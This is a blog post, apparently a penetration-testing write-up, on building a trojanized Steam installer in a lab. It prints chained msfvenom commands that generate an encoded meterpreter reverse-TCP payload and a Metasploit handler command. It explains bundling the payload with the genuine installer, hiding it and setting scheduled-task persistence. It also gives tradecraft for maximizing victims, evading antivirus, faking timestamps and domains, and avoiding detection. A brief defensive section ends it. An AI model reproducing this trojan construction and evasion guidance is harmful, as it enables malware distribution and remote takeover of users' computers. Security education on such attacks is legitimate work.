Malicious trojan for Steam installer

Imagine a popular and widely spread Microsoft Windows application you'd like to exploit or create a backdoor for? Problem is: Many applications, such as setup program of Steam gaming platform by Valve Corporation is protected against common tampering or injection attempts.

However, there is a way to add malicious content into such programs. In this post, I demonstrate a simple attack approach and countermeasures which you should remember in any software environment.

Table of Contents

About penetration testing

This single case demonstrates just a single penetration case. Penetration testing covers huge field, ranging from application to network security. I have done more penetration testing and I have descriptions of my some penetration testing exercise descriptions on GitHub - Fincer/penetration-testing repository.

The same repository is also hosted in extensive manner on Fjordtek Git service, including compherensive answers and analysis for each penetration case. However, access to it is allowed only to authorized users for now.

Disclaimer

Article writer does not take any responsibility if methods, principles, actions, ideas or codes presented in this post are used for any harmful or criminal purposes. Actions described in this post are performed in pre-defined and restricted environment.

Introduction

Main goal of this small-scale project was to demonstrate how easy it could be to develop a simple trojan horse using a popular target software. In the project, I selected MS Windows setup executable of popular Steam gaming platform by Valve Corporation. The platform is available on Microsoft Windows, Apple Mac OS and Linux.

Penetration testing phases

Phases of the intrusion Kill Chain

Attack environment

For demonstration purposes, a controlled local network environment was required. This local network was created virtually, and it had configuration for both the attack computer and victim computer. Network IPv4 address space was 172.20.0.0/24. The attack computer had IPv4 address 172.20.0.1 whereas IPv4 address of the victim computer was provided by a separate DHCP server application.

Kali Linux 2019.3 was used on the attack computer whereas the victim computer used Microsoft Windows 7 Home Premium OS. Generating trojan horse required usage of (hostile) tools in MS Windows environment. Therefore, the victim computer was not purely just in victim role. The resulting attack scenario was, however, targeted to this specific MS Windows system.

Goals

Project goals were simple: generate a trojan horse. Malicious, masqueraded and easily spreading Windows binary capable of creating a persistent backdoor to a victim computer. Key criteria for trojan development was as follows:

• Maximize victim count by targeting widely used and popular operating system

• Maximize victim count by targeting widely used and popular application

• Maximize victim count by exploiting social engineering tactics if possible

Principles of a trojan horse

Generated a trojan horse followed loosely the following principles, although not nearly everything was actually done in practice since many methods require more sophisticated approaches to develop a successful and more advanced trojan horse. Excluded principles are mentioned in the chapter Weaknesses of the selected attack method.

Principle: choosing target application

• Use commonly trusted and popular application for the attack to maximize victim count and scale

Principle: injecting malicious code

• Hide the payload well in the target application

• Use/prefer self-made, unique malicious payload to avoid antivirus detection

• Exclude all sensitive information and stamps which could uncover your identity from the payload/target application

Principle: attack, hide, persist

• Hide the malicious code deep in the victim system where…

  • …it is difficult to detect from within other data

  • …it is likely able to exist long time without being detected

  • …it is automatically & periodinally executed

  • …it replicates to other locations in the system and destroys the original version of itself without leaving traces in logs

• Challenging but recommended approaches:

  • Hook the malicious code into a system process utilizing Windows API and possible vulnerabilities in it

    • Note: most common antivirus software can detect malicious patterns of Windows API usage, such as suspicious execution calls

  • If found and possible to adapt, use a zero-day attack method

  • Write your own malicious payload using low-level code such as C

• Easier but weaker approaches:

  • Use a non-suspicious or trustworthy name in your malicious system process

  • If possible without getting caught, fake/manipulate timestamps of the malicious process executable, including create time, modify time and access time

    • For instance, timestamp alterations are possible with Windows PowerShell

• Move/Transfer your malicious application to a new location after random time period

• Use strongly protected Command & Control server, masquerade its origin

  • Re-route the network traffic via multiple nodes

  • Use fake domain names, such as steampowered.com (genuine) -> steam.powered.com (fake)

    • domain name must be resolvable and capable to be used for successful communication between victim & attack computers

    • Believable network connection which is as resistant as possible to the most common DNS analysis, IP packet analysis and location analysis

Principle: actions in injected system

• Do not raise suspicions: try to find exploitable and perfect timing for malicious operations in the victim system. For instance: is anyone using the system computer, is there a clear pattern for application executions or not?

• If anyhow possible, automate your malicious payload/executable to detect useful time frames based on well-known logical patterns

• Avoid any (radical) increments in CPU & RAM usage and in average/expected network traffic

  • Avoid raising susplicions by slowing down the victim system in any way

• Avoid raising clear warning/error popup windows generated either by the infected application or by any AV software (such as Windows Defender)

• Hide malicious network traffic

  • Use well-known network protocols and port numbers, such as 443/TCP (HTTPS) for your hostile connections to bypass most generic firewall restrictions

  • As a general rule, avoid triggering any antivirus, intrusion detection or intrusion prevention systems

Backdoors

Reverse TCP connection

In usual client/server TCP protocol connection (connection-oriented) client establishes connection to a listening TCP socket (IP+port) of a server and send requests to the server to which the server replies based on multiple factors. This kind of connection is known as forward connection.

In reverse TCP connection, server sends requests to a client instead. In other words: server tells which commands/requests clients should perform in their end. This kind of connection is known as reverse connection. Reverse connections makes possible for a possible attacker to interact with and send requests to an infected client system.

Bypassing port-based firewall rules

Firewall prevents new (NEW) inbound/incoming connections in many network setups by default which is the most common configuration in client-only network environments. At the same time, new outbound connections to external servers are usually allowed. For instance, when a client is successfully connects to a WAN server (new outbound connection), firewall considers the connection been established when the server sends reply traffic to the client (established inbound connection). In many firewall configurations, packets related to already established connection are usually marked with statuses ESTABLISHED and RELATED and usually allowed to pass through.

In reverse TCP connections, attacker exploits these common firewall policies: once a client is infected, a malicious client process connects to attacker's server process which locates usually in a remote network location. Instead of infected client computer sending requests to the server, attacker's server process sends requests to the client instead, thus being reverse connection.

One of the key/basic elements in firewall policy configuration is to understand difference between new and established connection types. For instance, Linux iptables use configuration parameters NEW, RELATED and ESTABLISHED in its conntrack module for both inbound and outbound connections. Many firewalls allow fine-tuning policies based on MAC addresses, IPv4/IPv6 addresses and packet tagging, for instance.

Reverse connection is usually used to establish backdoor connections and spreading malicious applications but it is also used for non-hostile operations such as legally accessing NAT firewall procected client computers which do not have a public IPv4/IPv6 address.

Injecting Steam client setup

Various approaches

Two different approaches were taken to tamper official SteamSetup.exe:

1) Extracting and re-packaging the official Steam installer:

• Analysis of installed files & Windows registry values by Steam Client setup

• Manual re-packaging SteamSetup.exe with malicious payload, utilizing genuine binary data structures

• Result:

  failure

2) Only re-packaging the official Steam installer:

• Combination of two binaries (genuine Steam installer & malicious payload), mimicking the original installer behavior & look

• Result:

  success

Both approaches are compherensively explained below.

Generating malicious payload

Both approaches required a working malicious payload to be generated beforehand. Therefore, a simple reverse TCP payload was generated with chained msfvenom commands on Kali Linux:

1msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
2LHOST=172.20.0.1 LPORT=443 -f raw -e x86/jmp_call_additive -i 10 -k | \
3\
4msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 8 -f raw -k | \
5msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 14 -f raw -k | \
6msfvenom -a x86 --platform windows -f exe \
7-o MALWARE-SteamClient.exe

Generating a malicious payload executable with Metasploit Framework msfvenom tool on Kali Linux.

Generated MALWARE-SteamClient.exe was moved to commonly accessible Apache web folder /var/www/html/steampowered/ where it was downloaded with the victim MS Windows computer (URL http://172.20.0.1/steampowered/)

Malicious Windows binary executable was downloaded in MS Windows environment. The binary was generated with Metasploit Framework and included a generic reverse TCP payload which was used later in trojan generation.

MS Windows spefific tools were used to generate the trojan horse, using malicious payload executable MALWARE-SteamClient.exe as raw source material.

Payload obfuscation methods

Various encoders with random iteration counts were applied to chained msfvenom commands. Iteration count basically tells how many times payload of msfvenom command is encoded, resulting to basic obfuscation. Generally speaking, obfuscation is used to avoid detection by any malware detection tool. Worth noting that there are many counter toolkits which likely detect payloads which are obfuscated with basic and publicly available methods, including msfvenom.

In this project section, only varience of iteration counts and payload encoding were fine-tuned and no any additional customization methods were used.

Payload encoders used in SteamSetup.exe injection were as follows:

Metasploit Framework provides many additional encoding methods which can be listed in Msfconsole view with show encoders console command.

Multiple payload encoding methods are available in Metasploit Framework. However, these publicly available methods can be weak against anti-malware detection software.

Used tools

Various Linux & Windows tools were used to produce malicious SteamSetup.exe.

Failed injection attempt: re-packaging installed Steam files & registry values

Modifications to Windows file system and registry values by SteamSetup.exe were tracked down with WhatChanged which takes two snapshots, before and after software installation. Difference between the two snapshots is a list of installed Steam client software components which are shown below.

Installed Steam client files on a Windows system. Output produced by WhatChanged.

Added and modified Windows registry key values by Steam client setup. Output produced by WhatChanged.

The original idea was to restructure SteamSetup.exe with malicious payload. In the end, this information was not widely used since multiple avoidable and unnecessary challenges would have been introduced in trojan generation. Several key challenges were as follows:

• Missing Valve Corporation cerfiticate which is included in the official setup program

• Missing faked trusted publisher field used in setup program initialization step

• Challenges to generate believable re-implementation of the original setup program installation logic

• Missing language selection menu

• Missing directory path selection menu

• Size difference between fake and original SteamSetup.exe; Size estimation for installable files should match the original setup program

Failed injection attempt: direct Steam setup extraction

SteamSetup.exe seems to have protection against trivial data extraction methods. Direct data extraction was attempted with several tools:

• Resource Hacker: only Steam setup icon data could be extracted

  • The data was used in the project later on

• OllyDbg: failed attempt. Without further modifications, any valuable strings could not be extracted

• Universal Extractor: failed attempt to directly extract data from the Steam setup program

Direct data extraction from Steam setup program failed with Universal Extractor tool. Partial Resource Hacker results & extracted information on the background.

Steam setup defense mechanisms

As expected, SteamSetup.exe is protected against the most trivial injection and data extraction attempts. Several key challenges should be overcome to gain direct access to Steam client installation data (which may be useful for an attacker). These challenges are as follows:

• Recognize and circumvent protection method which is used against data extraction tools such as Universal Extractor

• Recognize and circumvent protection method which limits SteamSetup.exe data availability with tools like Resource Hacker

• Recognize and circumvent protection methods which are used against code disassembler tools such as IDA Pro/OllyDbg

  • It is likely that SteamSetup.exe uses anti-debugging protection mechanisms which should be analyzed step by step. Circumvention takes time since direct analysis and iterative modifications of SteamSetup.exe assembly code should be carefully performed

Extracting, injecting and re-packaging SteamSetup.exe requires a lot of time and deep orientation to assembly data analysis. Direct payload injection to the original SteamSetup.exe was not performed either.

Information gained with binutils tool strings indicates that SteamSetup.exe contains protection methods by Symantec. It is possible that SteamSetup.exe is compiled using Nullsoft Installer.

Extracted human-readable strings from SteamSetup.exe indicate presence of strong protection mechanisms bundled in.

Hereby direct SteamSetup.exe data extraction attempts were abandoned, considering several project-scale factors such as time schedule.

Successful injection attempt: packaging malicious payload with Steam setup

Due to results gained from short-term SteamSetup.exe data analysis, approach was changed. Instead of directly injecting malicious payload into SteamSetup.exe, the payload itself was bundled with genuine SteamSetup.exe with Inno Setup.

In normal usage, Inno Setup is used to generate GUI installers for bundled files. However, Inno Setup was not used in normal means in the project since masquerading or hiding the malicious payload was the key goal of the project. The following criteria was applied for malicious Inno Setup usage:

• User must not easily detect existence of malicious payload

• The installer behavior, interface or appearance must not differ from the original Steam setup program

  • Identical name, icons, copyright tag and version number must be included

    • Icons extracted with Resource Hacker were used

• Size: the bundled setup program must not differ too much from the original Steam setup in terms of size

• Inno Setup genuine GUI installer must not be executed in any circumstances

• Bundled SteamSetup.exe Valve Corporation certificate is excluded due to integration challenges. As a downside user can note missing certificate in the fake SteamSetup.exe. However, actual functionality differences between the two setup programs are still non-existent

Packaging methods

Inno Setup approach required four key files for successful trojan horse generation:

• Genuine SteamSetup.exe

• SteamSetup.exe icon files

• Malicious binary payload (generated by chained msfvenom commands (Metasploit Framework))

• Well-formatted Inno Setup configuration/instruction file for the trojan horse

Malicious installation script

Key requirement for successfully generated Inno Setup script for the trojan horse was excluding and bypassing all default Inno Setup installation phases. Although little challenges were encountered, Inno Setup proved to have capabilities for successful trojan horse generation. The configuration script is as follows.

Be advised: only logged-in users with correct permissions may view the code.

The configuration script was fine-tuned for the trojan horse. Requirements listed in Successful injection attempt: packaging malicious payload with Steam setup were met. Required external files were relatively located to the Inno Setup configuration script file. The external files were:

• steampayload.iss (Inno Setup Script)

• data\MALWARE-SteamClient.exe (Metasploit Payload)

• data\steam_icon.ico (SteamSetup.exe icons, extracted by Resource Hacker)

• data\SteamSetup.exe (genuine Steam setup program)

Once the configuration script is in place, compiling a malware-infected installer in Inno Setup is a no-brainer: just clicking Build -> Compile does the job.

Successfully compiled malware-infected installer. Compiler output view in Inno Setup.

The following section briefly describes idea and logic behind the Inno Setup configuration script.

Script structure explained

By default, Inno Setup generates installation program GUI dialogs for bundled files. One of the key goals during Inno Setup configuration script development was to avoid generating them for the maliciously generated SteamSetup.exe. The key role of Inno Setup was just to provide a dummy container for both generated trojan horse payload and the genuine SteamSetup.exe executable. Inno Setup is not a requirement: any applicable software which provides the same functionality can be used.

The configuration script combines malicious msfvenom-generated payload, attachment files (such as icons), valid SteamSetup.exe information (such as copyright & version tags). Previously, the payload executable was known as MALWARE-SteamClient.exe but it was renamed as MALWARE-SteamService.exe afterwards.

When user executes maliciously packaged SteamSetup.exe, the payload attachment is injected immediately, before any other user interaction. Several quite trivial malicious actions are performed: MALWARE-SteamService.exe is placed to sub-directory C:\Users\<username>\AppData\Local\Valve\ where <username> the the current Windows user. This binary file is periodically executed to ensure malware persistence on the victim's computer. The first execution is applied during the first run of the malicious SteamSetup.exe.

Malicious binary executable, placed automatically at unsuspicious location C:\Users\<username>\AppData\Local\Valve\ on the victim's MS Windows system.

Bundled genuine SteamSetup.exe is concurrently executed. Actual Inno Setup installation steps are never executed since key aspects were to keep behavioral differences between the malicious and the original SteamSetup.exe non-existent. Generally speaking, avoiding visible differences is a very basic and important principle of any successful malware generation since failure in that reveals the malicious origin of an executable.

On left: original SteamSetup.exe; On right: malicious SteamSetup.exe. The most notable differences between the two are missing certificate and language options, and small size differences.

The most notable differences between the malicious and the original SteamSetup.exe are: modification date, digital signature and available languages. File modification time can be changed with a PowerShell command. lastaccesstime and creationtime should be checked, as well. Adding multi-language support, even a fake one, can be a trivial task. Faking digital signature by Valve Corporation represents a challenge. However, file signatures can be created with Windows SDK tool signtool.

Metasploit framework: connecting infected computer

Test development environment had Metasploit Framework TCP handler on stand-by listening to incoming connections from the infected MS Windows client computer. The following msfconsole command was applied on Kali Linux attack computer:

1sudo msfconsole -x 'use exploit/multi/handler; \
2set payload windows/meterpreter/reverse_tcp; \
3set LHOST 172.20.0.1; \
4set LPORT 443; \
5run'

Selecting TCP port 443 for the local port (LPORT) was intended because it is usually used by HTTPS protocol, meaning that…

• …it is generally trusted and known TCP port number

• …many port-based firewalls allow outbound 443 TCP connections

• …blending malicious traffic to valid HTTPS traffic is easier (unless deep packet inspection or advanced network analysis is performed)

Extended tests would tell whether this port choise is applicable and wise but it was a good choise for project demonstration purposes. IPv4 address of the attacker's computer on the (same) network is 172.20.0.1 (LHOST).

Once the TCP handler was listening to new connections on the attacker's computer, the malicious SteamSetup.exe was executed on the victim's computer. Nothing suspicious was popped up.

SteamSetup.exe with a malicious payload looks and behaves exactly like the genuine SteamSetup.exe. Actually, the malicious payload has already been injected when this window is shown so it does not matter how user responds to the question.

In addition to normal SteamSetup.exe process, new MALWARE-SteamService.exe process was also seen on Windows Task Manager. The malicious process name was intended and selected for demonstration purposes for the project.

Malicious SteamSetup.exe process connects to the TCP handler on the attacker's computer, opening a new meterpreter connection to the victim's MS Windows computer. The default meterpreter working directory on the victim's computer is the one where the malicious MALWARE-SteamService.exe locates at.

Meterpreter view on the attacker's computer. Attacker is on the victim's computer. The attacker attempts to find out interesting files in the current working directory, user information, available web cameras and existence of other computers on the victim's local network for further attack purposes and to perform additional lateral movements.

Meterpreter console has multiple possibilities to perform various operations on the victim's computer, such as obtain user credentials, download and upload files, edit files, listen to a microphone, take screenshots and take webcam snapshots. Additional post-exploitation operations can be performed with Mimikatz.

Timed backdoor connection and persistence in infected system

Once MALWARE-SteamService.exe was successfully injected, a new timed Windows task was immediately introduced to add malware persistence. On the current configuration, the timed task attempts to connect to the attacker's computer in 1 hour intervals. The task is seen in Windows Task Scheduler as SteamService as shown below. Name for the task was purposely chosen.

Malicious SteamService task seen in Windows Task Scheduler. The task process is executed hourly and makes possible for an attacker to access the infected system.

Initially Windows automatic startup execution feature was considered (execute on each boot) but there were several issues encountered with the payload execution persistence: the malicious executable was executed but the process halted and disappeared pretty quickly, practically disabling its long-term functionality. The behavior is problematic since the attack window would have been very narrow:

• Attacker could have connection to victim's computer only after boot up

• Malicious executable may not be able to connect to attacker's computer if network interfaces are not up, default gateway is non-operational or DNS resolution does not work during malware execution

Downsides of using Windows Task Scheduler are obvious: user can detect and understand malicious nature of the process, especially if any advanced logging systems are being used or user is aware of validity of different processes and is able to detect abnormal processes. Anyway, any malicious process, service or task must as effectively be hidden on the target system as possible to dispel doubts.

Weaknesses of the selected attack method

Basic principle of the generated trojan horse and performed attack is good but the practical implementation has many downsides. Key downsides are:

• Permission restrictions: Provided method does not grant SYSTEM privileges to an infected Windows system. Only user level permissions granted

• Reference leftovers: Payload is seen as ApacheBench command line utility in Windows Task Manager. References like this should be removed or replaced with ones which fit the context. For instance, use terminology referring to Steam or system processes.

• Reference leftovers: Inno Setup metadata strings exist in the malicious SteamSetup.exe. Additionally, Inno Setup data pattern in executable file is a possible fingerprint, weakening obfuscation the malicious SteamSetup.exe

• Missing references: Usage of strings (like references to Symantec or certificates) inside the original SteamSetup.exe should be considered and implemented if anyhow possible

• Missing certificate: The malicious SteamSetup.exe does not have original or faked Valve Corporation signature/certificate

• Missing protection: The malicious SteamSetup.exe is not protected against data analysis. For instance, simple extraction with Universal Extractor is possible. Leaking any valuable information weakens attacker's position and may reveal his/her identity.

• Missing protection: The payload is not protected against network analysis. Payload uses a simple connection to attacker's computer and does not include any advanced multi-routing capabilities via multiple nodes or does not try to obfuscate the attack origin. Attack is not distributed (via botnet, for instance)

• Network patterns: Simple network analysis reveals abnormal patterns for TCP port 443:

  • Suspicious remote network address, domain name or any other data (TCP/IP layers 3 and 4)

  • Suspicious TCP flags. Normal HTTPS connection follows 3-way handshake (SYN, [SYN, ACK], ACK TCP flags), symmetrical key exchange and asymmetrical certificate confirmation and client+server hello messages. The reverse TCP can hardly follow this normal pattern, thus it can be detected using deep packet inspection or advanced firewall packet tracking detection methods which do not fully rely on port-based rules. Additionally, payload size may differ suspiciously from normal HTTPS traffic.

• Protection against AV systems: Protection against antivirus software is not tested in the project, and likely does not pass antivirus defenses

  • Too well-known payload generation method used: Metasploit Framework is widely used in penetration testing, and any Metasploit Framework references or patterns likely get caught. It is recommended to write own, previously unknown payload which, in an optimal case, is undetectable

  • Usage of forbidden strings and function patterns: Many antivirus programs detect certain key words and (Windows API) function call patterns, both of which should be either removed or modified to avoid antivirus detection

  • Test trojan horse against multiple antivirus solutions. Do NOT use AVTotal, since it renders the payload useless

  • Keep the payload and malware code up-to-dated since antivirus software update virus signatures on regular basis

  • If the trojan horse is detected, it is likely to be added to virus signature databases. Only solutions are forking or replacing the payload.

• Integrity: Checksum of the malicious SteamSetup.exe differs from the original one. In an optimal case, the checksum is identical but it can be very challenging to have one.

  • This is the exact reason why some software vendors provide valid checksums for files they provide to customers, or open source projects have lists of checksums for files

Replicating the integrity is a challenge. Although size difference is not dramatic, checksums differ, thus marking the malicious SteamSetup.exe version invalid, suspicious, and may reveal its hostile purpose.

Too obvious string references. These references can be found quickly by anyone which is why it's essential to remove them during development phase. These strings reveal that the malicious SteamSetup.exe is actually compiled by Inno Setup.

End results and conclusion

Developing a simple low-level trojan horse for SteamSetup.exe demonstrates how easily the original binary can be faked. Using Inno Setup as basis proves that is is possible to add malicious code for valid installers although the original setup program could be well protected against direct injection methods or modifications. In other words, re-packaging the installer basically bypasses any security measures done by the original software vendor.

Due to many downsides which are not further addressed in this project, the realistic risks to get infected by the presented trojan method is low, likely due to antivirus protection mechanisms. Additionally, attacker's footprint or traces are not covered. However, more advanced version could harm naive users which just trust the software and do not care doing any analysis of downloaded files.

Social engineering, need of popular software (even in illegal ways) and user negligence are many of the key factors why trojan horses can be spread around. However, even a single suspicious user or antivirus detection may render trojan horses pretty useless since users become more aware of the true nature of obtained software and they may spread the word in different communication channels. Scientia potentia est.

Once trojan horse is revealed, it is likely than hobbyists and/or security experts focus their interest and analysis (of data gathering, trojan behavior, target software and network) on the software, and may reveal the attacker's origin. This is troublesome for attacker due to criminal liability aspects, and thus attacker should take all countermeasures to practice and create software/network/log-resistant protection, defensive layers to avoid getting caught.

As a target, SteamSetup.exe is dangerous. It is widely used gaming platform where over 90% of the player base use MS Windows as their operating system. For instance, infected SteamSetup.exe could easily be spread in LAN parties or between friends. Therefore, origin of the data, checksums and updated antivirus protection should always be priority. In rare cases, the trusted source itself can be infected, such as Linux Mint 2016 incident reveals. Thus, in the end, more good security practices are as follows:

• sandboxed application environments

• application permission restrictions in the file system

  • restict application functionality in the system

  • restrict application access to specific file system locations

• short-term and long-term system analysis

  • API calls

  • Network sockets

  • File access

• installing only software which is needed